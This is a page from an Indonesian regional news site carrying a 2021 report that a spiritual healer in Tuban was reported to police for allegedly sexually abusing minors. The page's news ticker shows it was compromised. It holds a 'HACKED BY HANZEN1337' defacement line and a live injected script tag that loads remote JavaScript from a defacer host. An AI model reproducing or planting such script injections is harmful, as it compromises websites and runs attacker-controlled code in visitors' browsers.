News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Diduga Cabuli Anak di Bawah Umur, Guru Spiritual di Senori, Tuban, Dilaporkan ke Polisi

Diduga Cabuli Anak di Bawah Umur, Guru Spiritual di Senori, Tuban, Dilaporkan ke Polisi

Tuban - Seorang pria berinisial FR, guru spiritual di salah satu padepokan pengobatan di Kecamatan Senori, Kabupaten Tuban, pada Rabu (13/10/2021, dilaporkan ke Polres Tuban atas dugaan pencabulan.
 
FR yang membuka praktik pengobatan tersebut diduga telah melakukan pencabulan atau tindak asusila terhadap anak usia di bawah umur.
 
 
Dalam pelaporan tersebut, rombongan keluarga korban dengan didampingi petugas dqari Dinas Sosial Pemberdayaan Perempuan dan Perlindungan Anak (Dinsos PPPA) Kabupaten Tuban mendatangi unit Pelayanan Perempuan dan Anak (PPA) Satuan Reserse Kriminal (Sat Reskrim) Polres Tuban, pada Rabu (13/10/2021) sekitar pukul 14.00 WIB.
 
Namun saat ditemui awak media, keluarga korban maupun kuasa hukum serta petrugas dari Dinsos PPPA Tuban belum bisa memberikan keterangan.
 
Informasi yang didapat awak media ini, FR diduga telah melakukan tindak asusila atau pencabulan kepada anak usia di bawah umur dengan meraba bagian sensitif korban dengan dalih mengobati korban. Selain itu, FR juga merayu korban lain untuk diajak tidur didalam kamar dan seringkali menciumnya.
 
 
Terpisah, Kapolres Tuban Ajun Komisaris Besar (AKBP) Darman dikonfirmasi awak media ini Kamis (14/10/2021) membenarkan adanya laporan tersebut. Menurutnya laporan perkara tersebut saat ini sudah diterima oleh Sat Reskrim Polres Tuban.
 
"Iya, laporan tersebut sudah diterima oleh Sat Reskrim," tutur AKBP Darman.
 
AKBP Darman mengatakan bahwa kasus tersebut masih dalam proses pemeriksaan di Sat Reskrim Polres Tuban, sehingga dirinya masih belum bisa memberikan kronologi kejadian.
 
"Untuk kronologisnya langsung ke Sat Reskrim," kata Kapolres Tuban AKBP Darman. (ayu/imm)
 
 
Reporter: Ayu Fadillah SIKom
Editor: Imam Nurcahyo
Publisher: Imam Nurcahyo
 
Berita Terkait
1783871326.2029 at start, 1783871326.8355 at end, 0.63262891769409 sec elapsed